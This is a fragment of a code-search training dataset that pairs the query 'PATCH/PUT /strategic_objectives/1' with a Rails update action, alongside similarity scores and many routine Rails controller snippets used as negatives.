"def create\n @reviewable_object = current_user.reviewable_objects.new(params[:reviewable_object])\n\n respond_to do |format|\n if @reviewable_object.save\n format.html { redirect_to @reviewable_object, notice: 'Reviewable object was successfully created.' }\n format.json { render json: @reviewable_object, status: :created, location: @reviewable_object }\n else\n format.html { render action: \"new\" }\n format.json { render json: @reviewable_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n=begin\n params[:short_term_goal][:tasks] = Array.new\n tasks_array = Array.new\n if params[:task]\n params[:task].each do |num,task| \n tasks_array[Integer(num)] = task if task != ''\n end\n end\n tasks_array.each do |task|\n params[:short_term_goal][:tasks] << Task.create(:name => task) if task != nil\n end\n=end\n @short_term_goal = ShortTermGoal.new(params[:short_term_goal])\n respond_to do |format|\n if @short_term_goal.save\n format.html { redirect_to(myguide_path(@current_user), :notice => 'Short term goal was successfully created.') }\n format.xml { render :xml => @short_term_goal, :status => :created, :location => @short_term_goal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @short_term_goal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @contestant = Contestant.new(contestant_params)\n\n \n if @contestant.save\n render json: @contestant\n else\n render json: @contestant.errors\n end\n \n end",
"def objective_params\n params.require(:objective).permit(:user_id, :title, :no0, :no1,\t:no2,\t:no3,\t:no4,\t:no5,\t:no6,\t:no7,\t:no8,\t:no9,\t:no10,\t:no11,\t:no12,\t:no13,\t:no14,\t:no15,\t:no16,\t:no17,\t:no18,\t:no19,\t:no20,\t:no21,\t:no22,\t:no23,\t:no24,\t:no25,\t:no26,\t:no27,\t:no28,\t:no29,\t:no30,\t:no31,\t:no32,\t:no33,\t:no34,\t:no35,\t:no36,\t:no37, :no38,\t:no39)\n end",
"def create_solo\n @goal = Goal.new(params[:goal])\n @goal.user = current_user\n\n respond_to do |format|\n if @goal.save\n format.html { redirect_to @goal, notice: 'Goal was successfully created.' }\n format.json { render json: @goal, status: :created, location: @goal }\n else\n format.html { render action: 'new' }\n format.json { render json: @goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @financial_objects_goal = FinancialObjects::Goal.new(financial_objects_goal_params)\n\n respond_to do |format|\n if @financial_objects_goal.save\n format.html { redirect_to @financial_objects_goal, notice: \"Goal was successfully created.\" }\n format.json { render :show, status: :created, location: @financial_objects_goal }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @financial_objects_goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@initiative = Initiative.new(params[:initiative])\n @initiative = Initiative.new\n @initiative.title=params[:initiative][:title]\n @initiative.description=params[:initiative][:description]\n @initiative.start=params[:initiative][:start]\n @initiative.end=params[:initiative][:end]\n @initiative.portfolio_id=params[:portfolio_id]\n @initiative.phase_id=params[:phase_id]\n @initiative.completionDegree=params[:initiative][:completionDegree]\n\n\n\n #\n # Default to the first phase in the chosen portfolio\n\n\n\n\n respond_to do |format|\n if @initiative.save\n #format.js\n format.html { render partial: 'success' }\n format.json { render json: @initiative, status: :created, location: @initiative }\n else\n #format.js\n format.html { render partial: 'fail' }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def improvement_params\n params.require(:improvement).permit(:title, :category, :content, :user_id, :status_id, :responsible_id)\n end",
"def save!\n quest = Quest.new\n quest.parent_id = @parent_id\n quest.main_quest_slides = @main_quest_slides.try(:join, \",\")\n quest.rewards = @achievement ? nil : @rewards\n quest.achievement = @achievement\n quest.id = @quest_id\n quest.save!\n\n @objectives.each do |klass, options|\n objective = klass.new(options)\n objective.quest = quest\n objective.save!\n end\n\n quest\n end",
"def create\n @go_term_enrichment = GoTermEnrichment.new(params[:go_term_enrichment])\n\n respond_to do |format|\n if @go_term_enrichment.save\n format.html { redirect_to @go_term_enrichment, notice: 'Go term enrichment was successfully created.' }\n format.json { render json: @go_term_enrichment, status: :created, location: @go_term_enrichment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @go_term_enrichment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @consumable_object = ConsumableObject.new(consumable_object_params)\n\n respond_to do |format|\n if @consumable_object.save\n format.html { redirect_to @consumable_object, notice: 'Consumable object was successfully created.' }\n format.json { render action: 'show', status: :created, location: @consumable_object }\n else\n format.html { render action: 'new' }\n format.json { render json: @consumable_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @editorial = Editorial.new(editorial_params)\n\n respond_to do |format|\n if @editorial.save\n format.html { redirect_to admin_contest_path(@contest), notice: 'Editorial was successfully created.' }\n format.json { render :show, status: :created, location: admin_contest_path(@contest) }\n else\n format.html { render :new }\n format.json { render json: @editorial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solution = @idea.solutions.new(feature: params[:toSent]) #@idea.solutions.new(params[:solution])\n\n if @solution.save\n render json: { text: \"success\", id: \"#{@solution.id}\" }\n else\n render json: { text: \"fail\"}\n end\n end",
"def create\n @presented_testimony = PresentedTestimony.new(presented_testimony_params)\n\n respond_to do |format|\n if @presented_testimony.save\n format.html { redirect_to @presented_testimony, notice: 'Presented testimony was successfully created.' }\n format.json { render :show, status: :created, location: @presented_testimony }\n else\n format.html { render :new }\n format.json { render json: @presented_testimony.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dog_poly = DogPoly.new(dog_poly_params)\n\n respond_to do |format|\n if @dog_poly.save\n format.html { redirect_to @dog_poly, notice: 'Dog poly was successfully created.' }\n format.json { render :show, status: :created, location: @dog_poly }\n else\n format.html { render :new }\n format.json { render json: @dog_poly.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gameobject = Gameobject.new(gameobject_params)\n\n respond_to do |format|\n if @gameobject.save\n format.html { redirect_to @gameobject, notice: 'Gameobject was successfully created.' }\n format.json { render :show, status: :created, location: @gameobject }\n else\n format.html { render :new }\n format.json { render json: @gameobject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @longterm_goal = LongtermGoal.new(longterm_goal_params)\n\n respond_to do |format|\n if @longterm_goal.save\n format.html { redirect_to @longterm_goal, notice: 'Longterm goal was successfully created.' }\n format.json { render :show, status: :created, location: @longterm_goal }\n else\n format.html { render :new }\n format.json { render json: @longterm_goal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @competency = Competency.new(competency_params)\n respond_to do |format|\n if @competency.save\n format.json { render :show, status: :created, location: @competency }\n else\n format.json { render json: @competency.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @dog_expense = DogExpense.new(dog_expense_params)\n\n respond_to do |format|\n if @dog_expense.save\n format.html { redirect_to @dog_expense, notice: 'Dog expense was successfully created.' }\n format.json { render action: 'show', status: :created, location: @dog_expense }\n else\n format.html { render action: 'new' }\n format.json { render json: @dog_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @achievment = Achievment.new(params[:achievment])\n\n respond_to do |format|\n if @achievment.save\n format.html { redirect_to @achievment, notice: 'Achievment was successfully created.' }\n format.json { render json: @achievment, status: :created, location: @achievment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @achievment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @library_objective = LibraryObjective.new(params[:library_objective])\n\n respond_to do |format|\n if @library_objective.save\n format.html { redirect_to(@library_objective, :notice => 'Library objective was successfully created.') }\n format.xml { render :xml => @library_objective, :status => :created, :location => @library_objective }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @library_objective.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n authorize Judge\n @judge = Judge.new(permitted_attributes(Judge))\n\n respond_to do |format|\n if @judge.save\n format.html { redirect_to @judge, notice: I18n.t('controllers.created', model: Judge.model_name.human) }\n format.json { render :show, status: :created, location: @judge }\n else\n format.html { render :new }\n format.json { render json: @judge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @golf_cource = GolfCource.new(params[:golf_cource])\n\n respond_to do |format|\n if @golf_cource.save\n format.html { redirect_to scaffold_golf_cource_url(@golf_cource), notice: 'Golf cource was successfully created.' }\n format.json { render json: @golf_cource, status: :created, location: @golf_cource }\n else\n format.html { render action: \"new\" }\n format.json { render json: @golf_cource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ingresso = Ingresso.new(ingresso_params)\n\n respond_to do |format|\n if @ingresso.save\n format.html { redirect_to @ingresso, notice: 'Ingresso was successfully created.' }\n format.json { render :show, status: :created, location: @ingresso }\n else\n format.html { render :new }\n format.json { render json: @ingresso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @objective = Objective.find(params[:id])\n render json: @objective\n end",
"def destroy\n @objective = Objective.find(params[:id])\n @objective.destroy\n render json: @objective \n end",
"def create\n points = params[:solution][:points_earned]\n unless current_user.posse.current_solution?\n solution = current_user.posse.solutions.create(solution_params)\n current_user.posse.add_points(points.to_i)\n end\n render json: solution\n end",
"def new\n params[:assessment] = {}\n params[:assessment][:completed_assignment_id] = params[:completed_assignment_id]\n params[:assessment][:grader_id] = params[:grader_id]\n params[:assessment][:student_id] = params[:student_id]\n\n @assessment = Assessment.new(params[:assessment])\n @assessment.save\n \n @completed_assignment = CompletedAssignment.find(params[:assessment][:completed_assignment_id])\n @assignment = @completed_assignment.assignment\n\n @objectives_results = []\n @assignment.objectives.each { |objective |\n @ob = ObjectiveResult.new\n @ob.assessment_id = @assessment.id\n @ob.student_id = @completed_assignment.user_id\n @ob.objective_id = objective.id\n @ob.mastery_category_id = objective.mastery_category_id\n @ob.save\n @objectives_results.push(@ob)\n }\n\n redirect_to :action => \"edit\", :id => @assessment.id\n end",
"def destroy\n @objective.destroy\n respond_to do |format|\n format.html { redirect_to objectives_url, notice: 'Objective was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @subcriterion = Subcriterion.new(params[:subcriterion])\n\n respond_to do |format|\n if @subcriterion.save\n format.html { redirect_to @subcriterion, notice: 'Subcriterion was successfully created.' }\n format.json { render json: @subcriterion, status: :created, location: @subcriterion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @subcriterion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gasto = Gasto.new(params[:gasto])\n\n respond_to do |format|\n if @gasto.save\n format.html { redirect_to @gasto, notice: 'Gasto was successfully created.' }\n format.json { render json: @gasto, status: :created, location: @gasto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gasto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @medium_mission = MediumMission.new(params[:medium_mission])\n\n respond_to do |format|\n if @medium_mission.save\n format.html { redirect_to @medium_mission, notice: 'Medium mission was successfully created.' }\n format.json { render json: @medium_mission, status: :created, location: @medium_mission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medium_mission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @doppelte_object = DoppelteObject.new(doppelte_object_params)\n\n respond_to do |format|\n if @doppelte_object.save\n format.html { redirect_to @doppelte_object, notice: 'Doppelte object was successfully created.' }\n format.json { render :show, status: :created, location: @doppelte_object }\n else\n format.html { render :new }\n format.json { render json: @doppelte_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_v1_initiative = Api::V1::Initiative.new(api_v1_initiative_params)\n\n respond_to do |format|\n if @api_v1_initiative.save\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_initiative }\n else\n format.html { render :new }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @objective = Objective.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @objective }\n end\n end",
"def create\n @medium_mission_strategy = MediumMissionStrategy.new(params[:medium_mission_strategy])\n\n respond_to do |format|\n if @medium_mission_strategy.save\n format.html { redirect_to @medium_mission_strategy, notice: 'Medium mission strategy was successfully created.' }\n format.json { render json: @medium_mission_strategy, status: :created, location: @medium_mission_strategy }\n else\n format.html { render action: \"new\" }\n format.json { render json: @medium_mission_strategy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @stage_population = StagePopulation.new(params[:stage_population])\n\n respond_to do |format|\n if @stage_population.save\n format.html { redirect_to @stage_population, notice: 'Stage population was successfully created.' }\n format.json { render json: @stage_population, status: :created, location: @stage_population }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stage_population.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @proof_cost = ProofCost.new(params[:proof_cost])\n\n respond_to do |format|\n if @proof_cost.save\n format.html { redirect_to @proof_cost, notice: 'Proof Cost was successfully created.' }\n format.json { render json: @proof_cost, status: :created, location: @proof_cost }\n else\n format.html { render action: \"new\" }\n format.json { render json: @proof_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solideo_depense = SolideoDepense.new(solideo_depense_params)\n\n respond_to do |format|\n if @solideo_depense.save\n format.html { redirect_to solideo_depenses_path, notice: 'Solideo depense was successfully created.' }\n format.json { render :show, status: :created, location: @solideo_depense }\n else\n format.html { render :new }\n format.json { render json: @solideo_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @criterion = Criterion.new\n render json: @criterion\n end",
"def create\n @object_release = ObjectRelease.new(object_release_params)\n\n respond_to do |format|\n if @object_release.save\n format.html { redirect_to @object_release, notice: 'Object release was successfully created.' }\n format.json { render :show, status: :created, location: @object_release }\n else\n format.html { render :new }\n format.json { render json: @object_release.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cognitive_distortion = CognitiveDistortion.new(cognitive_distortion_params)\n\n respond_to do |format|\n if @cognitive_distortion.save\n format.html { redirect_to @cognitive_distortion, notice: 'Cognitive distortion was successfully created.' }\n format.json { render :show, status: :created, location: @cognitive_distortion }\n else\n format.html { render :new }\n format.json { render json: @cognitive_distortion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize_action_for Glossary\n @glossary = Glossary.new(glossary_params)\n @glossary.user = current_user\n\n respond_to do |format|\n if @glossary.save\n format.html { redirect_to @glossary, notice: 'Glossary was successfully created.' }\n format.json { render :show, status: :created, location: @glossary }\n else\n format.html { render :new }\n format.json { render json: @glossary.errors, status: :unprocessable_entity }\n end\n end\n end",
"def communicate_objective_function(objectives, _ = nil)\n obj_fun_file = \"#{@options[:output_directory]}/objectives.json\"\n FileUtils.rm_f(obj_fun_file) if File.exist?(obj_fun_file)\n File.open(obj_fun_file, 'w') do |f|\n f << JSON.pretty_generate(objectives)\n # make sure data is written to the disk one way or the other\n begin\n f.fsync\n rescue StandardError\n f.flush\n end\n end\n end",
"def create\n @opinion = Opinion.new(params[:opinion])\n\n respond_to do |format|\n if @opinion.save\n format.html { redirect_to @opinion, notice: 'Opinion was successfully created.' }\n format.json { render json: @opinion, status: :created, location: @opinion }\n else\n format.html { render action: \"new\" }\n format.json { render json: @opinion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def reveal_objective(*obj)\n valid_obj = obj.select {|x| x < objectives.size && !@revealed_objectives.include?(x) }\n valid_obj.each {|i| @revealed_objectives.maqj_insert_sort(i) }\n quest_status_changed unless valid_obj.empty?\n end",
"def create\n @ndp_objective = NdpObjective.new(ndp_objective_params)\n\n if @ndp_objective.save\n flash[:success] = 'NDP objective was successfully created.'\n redirect_to :back\n else\n flash[:danger] = 'NDP objective was not created.'\n redirect_to :back\n end\n end",
"def create\n @orderable_concept = OrderableConcept.new(params[:orderable_concept])\n\n respond_to do |format|\n if @orderable_concept.save\n format.html { redirect_to @orderable_concept, notice: 'Orderable concept was successfully created.' }\n format.json { render json: @orderable_concept, status: :created, location: @orderable_concept }\n else\n format.html { render action: \"new\" }\n format.json { render json: @orderable_concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @society_recuritment = SocietyRecuritment.new(society_recuritment_params)\n\n respond_to do |format|\n if @society_recuritment.save\n format.html { redirect_to @society_recuritment, notice: 'Society recuritment was successfully created.' }\n format.json { render :show, status: :created, location: @society_recuritment }\n else\n format.html { render :new }\n format.json { render json: @society_recuritment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cooperative = Cooperative.new(cooperative_params)\n\n respond_to do |format|\n if @cooperative.save\n format.html { redirect_to @cooperative, notice: 'Cooperative was successfully created.' }\n format.json { render :show, status: :created, location: @cooperative }\n else\n format.html { render :new }\n format.json { render json: @cooperative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @objective_result = ObjectiveResult.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objective_result }\n end\n end",
"def create\n @constitution = Constitution.new(params[:constitution])\n\n respond_to do |format|\n if @constitution.save\n format.html { redirect_to @constitution, notice: 'Constitution was successfully created.' }\n format.json { render json: @constitution, status: :created, location: @constitution }\n else\n format.html { render action: \"new\" }\n format.json { render json: @constitution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activity_objective_params\n params.fetch(:activity_objective, {}).permit(:objective_id, :short_desc, :long_desc,\n :programme_id)\n end",
"def create\n @goal = @todo.goals.create(goal_params)\n render json: @goal\n end",
"def create\n @garrison = Garrison.new(garrison_params)\n @garrison.kingdom_id = current_user.current_kingdom.id\n @garrison.recruted = true\n\n respond_to do |format|\n if @garrison.save\n format.html { redirect_to @garrison, notice: 'Garrison was successfully created.' }\n format.json { render action: 'show', status: :created, location: @garrison }\n else\n format.html { render action: 'new' }\n format.json { render json: @garrison.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jogador = @partida.jogadors.new(jogador_params)\n\n respond_to do |format|\n if @jogador.save\n format.html { redirect_to \"/jogadors\", notice: 'Jogador was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end"
] | [
"0.7141633",
"0.6696147",
"0.66141796",
"0.65129036",
"0.6313385",
"0.61748374",
"0.59816873",
"0.5840446",
"0.57571137",
"0.5668659",
"0.55917084",
"0.55910575",
"0.5586883",
"0.55716175",
"0.55606693",
"0.5555195",
"0.5551683",
"0.5501195",
"0.54405034",
"0.5418764",
"0.5396632",
"0.5349146",
"0.5348167",
"0.5347256",
"0.5341622",
"0.5331981",
"0.5316967",
"0.531196",
"0.53093916",
"0.5300961",
"0.5299512",
"0.52994835",
"0.52953005",
"0.5293714",
"0.5293306",
"0.5271933",
"0.5271933",
"0.5271614",
"0.52611774",
"0.5260339",
"0.52488595",
"0.52487487",
"0.52470875",
"0.5241829",
"0.52336055",
"0.5233498",
"0.5225524",
"0.5198988",
"0.5197288",
"0.51918995",
"0.5191284",
"0.5188827",
"0.51847595",
"0.5181559",
"0.5176008",
"0.51739013",
"0.5168487",
"0.5167737",
"0.5156828",
"0.51319027",
"0.5130384",
"0.5113212",
"0.5109748",
"0.51086503",
"0.5108234",
"0.5105149",
"0.50993186",
"0.50933474",
"0.5090084",
"0.50884956",
"0.50864553",
"0.5083234",
"0.50782245",
"0.50760216",
"0.5070783",
"0.50672686",
"0.5060438",
"0.50539416",
"0.5053235",
"0.5049829",
"0.5047342",
"0.50383294",
"0.5034375",
"0.5033841",
"0.5033144",
"0.50265616",
"0.50251347",
"0.50217414",
"0.5021498",
"0.502071",
"0.5018843",
"0.50181",
"0.5015907",
"0.50154537",
"0.501207",
"0.5009203",
"0.50035226",
"0.50012773",
"0.4999375",
"0.4997309"
] | 0.6860627 | 1 |
PATCH/PUT /strategic_objectives/1 PATCH/PUT /strategic_objectives/1.json | def update
if @strategic_objective.update(strategic_objective_params)
flash[:success] = 'Strategic objective was successfully updated.'
redirect_to :back
else
flash[:danger] = 'Strategic objective was not updated.'
redirect_to :back
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n authorize @objective.strategy, :update_objective?\n respond_to do |format|\n if @objective.update(objective_params)\n format.html { redirect_to @objective}\n format.json { render :show, status: :ok, location: @objective }\n else\n format.html { render :edit }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @objective = Objective.find(params[:id])\n\n respond_to do |format|\n if @objective.update_attributes(params[:objective])\n format.html { redirect_to @objective, notice: 'Objective was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative.update(api_v1_initiative_params)\n format.html { redirect_to @api_v1_initiative, notice: 'Initiative was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objective.update(objective_params)\n format.html { redirect_to @objective, notice: 'Objective was successfully updated.' }\n format.json { render :show, status: :ok, location: @objective }\n else\n format.html { render :edit }\n format.json { render json: @objective.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @orderable_concept = OrderableConcept.find(params[:id])\n\n respond_to do |format|\n if @orderable_concept.update_attributes(params[:orderable_concept])\n format.html { redirect_to @orderable_concept, notice: 'Orderable concept was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orderable_concept.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_update.update(api_v1_initiative_update_params)\n format.html { redirect_to @api_v1_initiative_update, notice: 'Initiative update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end",
"def update\n respond_to do |format|\n if @objective_textual.update(objective_textual_params)\n format.html { redirect_to @objective_textual, notice: 'Objective textual was successfully updated.' }\n format.json { render :show, status: :ok, location: @objective_textual }\n else\n format.html { render :edit }\n format.json { render json: @objective_textual.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @golf_cource = GolfCource.find(params[:id])\n\n respond_to do |format|\n if @golf_cource.update_attributes(params[:golf_cource])\n format.html { redirect_to scaffold_golf_cource_url(@golf_cource), notice: 'Golf cource was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @golf_cource.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @initiative = Initiative.find(params[:id])\n @initiative.phase_id=params[:phase_id]\n\n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n format.html { render :nothing => true }\n #format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @optin_contestant = OptinContestant.find(params[:id])\n\n respond_to do |format|\n if @optin_contestant.update_attributes(params[:optin_contestant])\n format.html { redirect_to @optin_contestant, notice: 'Optin contestant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @optin_contestant.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @solution = @idea.solutions.find(params[:id])\n\n if @solution.update_attributes(params[:solution])\n render json: { text: \"success\" }\n else\n render json: { text: \"fail\"}\n end\n end",
"def update\n respond_to do |format|\n if @ontology.update(ontology_params)\n format.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n format.json { render :show, status: :ok, location: @ontology }\n else\n format.html { render :edit }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @housing_feature = HousingFeature.find(params[:id])\n\n respond_to do |format|\n if @housing_feature.update_attributes(params[:housing_feature])\n format.html { redirect_to @housing_feature, notice: 'Housing feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @housing_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @consumable_object.update(consumable_object_params)\n format.html { redirect_to @consumable_object, notice: 'Consumable object was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @consumable_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @criterion = Criterion.find(params[:id])\n\n if @criterion.update_attributes(params[:criterion])\n head :no_content\n else\n render json: @criterion.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @capitol.update(capitol_params)\n format.html { redirect_to root_path, notice: 'Capitol was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @capitol.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n for i in [email protected]()-1\n objective = @activity.objectives[i]\n objective.is_done = params[:objective][i.to_s()]\n objective.save!\n end\n format.html { redirect_to planslink_path(@activity.plan.family_group.id), notice: '¡Actividad actualizada!.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tobject = Tobject.find(params[:id])\n\n respond_to do |format|\n if @tobject.update_attributes(params[:tobject])\n format.html { redirect_to @tobject, notice: 'Tobject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tobject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @athlete.altered_by = current_user.id\n namesplit = @athlete.name.split(' ')\n @athlete.short_name = \"#{namesplit.first} #{namesplit.last}\" if namesplit.length > 1\n @athlete.short_name = \"#{namesplit.first}\" if namesplit.length == 1\n\n respond_to do |format|\n\n if @athlete.update(athlete_params)\n if params[ :shortform ] or params[ :clubdetail ]\n @club = Club.find( @athlete.club_id )\n format.html { redirect_to club_path(@athlete.club_id), notice: 'Atleta criado com sucesso.' }\n else\n format.html { redirect_to @athlete, notice: 'Atleta actualizado com sucesso.' }\n end\n format.json { head :no_content }\n else\n if params[ :shortform ] or params[ :clubdetail ]\n @club = Club.find( @athlete.club_id )\n flash[:error] = @athlete.errors.full_messages.join(\".<br>\").html_safe\n format.html { redirect_to club_path(@athlete.club_id) }\n else\n format.html { render action: 'edit' }\n end\n format.json { render json: @athlete.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @judge.update(permitted_attributes(Judge))\n format.html { redirect_to @judge, notice: I18n.t('controllers.updated', model: Judge.model_name.human) }\n format.json { render :show, status: :ok, location: @judge }\n else\n format.html { render :edit }\n format.json { render json: @judge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @conceptual_entity = ConceptualEntity.find(params[:id])\n\n respond_to do |format|\n if @conceptual_entity.update_attributes(params[:conceptual_entity])\n format.html { redirect_to @conceptual_entity, notice: 'Conceptual entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conceptual_entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n goal = Goal.find params[:id]\n if goal.update(goal_params)\n render json: goal, status: 200\n else\n render json: goal.errors.full_messages, status: 422\n end\n end",
"def update\n @proposal = Proposal.find(params[:id])\n\n respond_to do |format|\n if @proposal.update_attributes(params[:proposal])\n format.html { redirect_to @proposal, notice: 'Orçamento instantâneo atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @proposal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @moose = Moose.find(params[:id])\n\n respond_to do |format|\n if @moose.update_attributes(params[:moose])\n format.html { redirect_to @moose, notice: 'Moose was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @moose.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @criterion = Criterion.find(params[:id])\n\n respond_to do |format|\n if @criterion.update_attributes(params[:criterion])\n format.html { redirect_to @criterion, notice: 'Criterion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @criterion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @enhancement = Enhancement.find(params[:id])\n\n respond_to do |format|\n if @enhancement.update_attributes(params[:enhancement])\n format.html { redirect_to @enhancement, notice: 'Enhancement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @enhancement.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sivic_discipulo.update(sivic_discipulo_params_netested)\n format.html { redirect_to @sivic_discipulo, notice: 'Registro alterado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sivic_discipulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n if @colegio.update_attributes(params[:colegio])\n format.html { redirect_to @colegio, notice: 'El Colegio fue actualizado satisfactoriamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @colegio.errors, status: :unprocessable_entity }\n end\n end\n end",
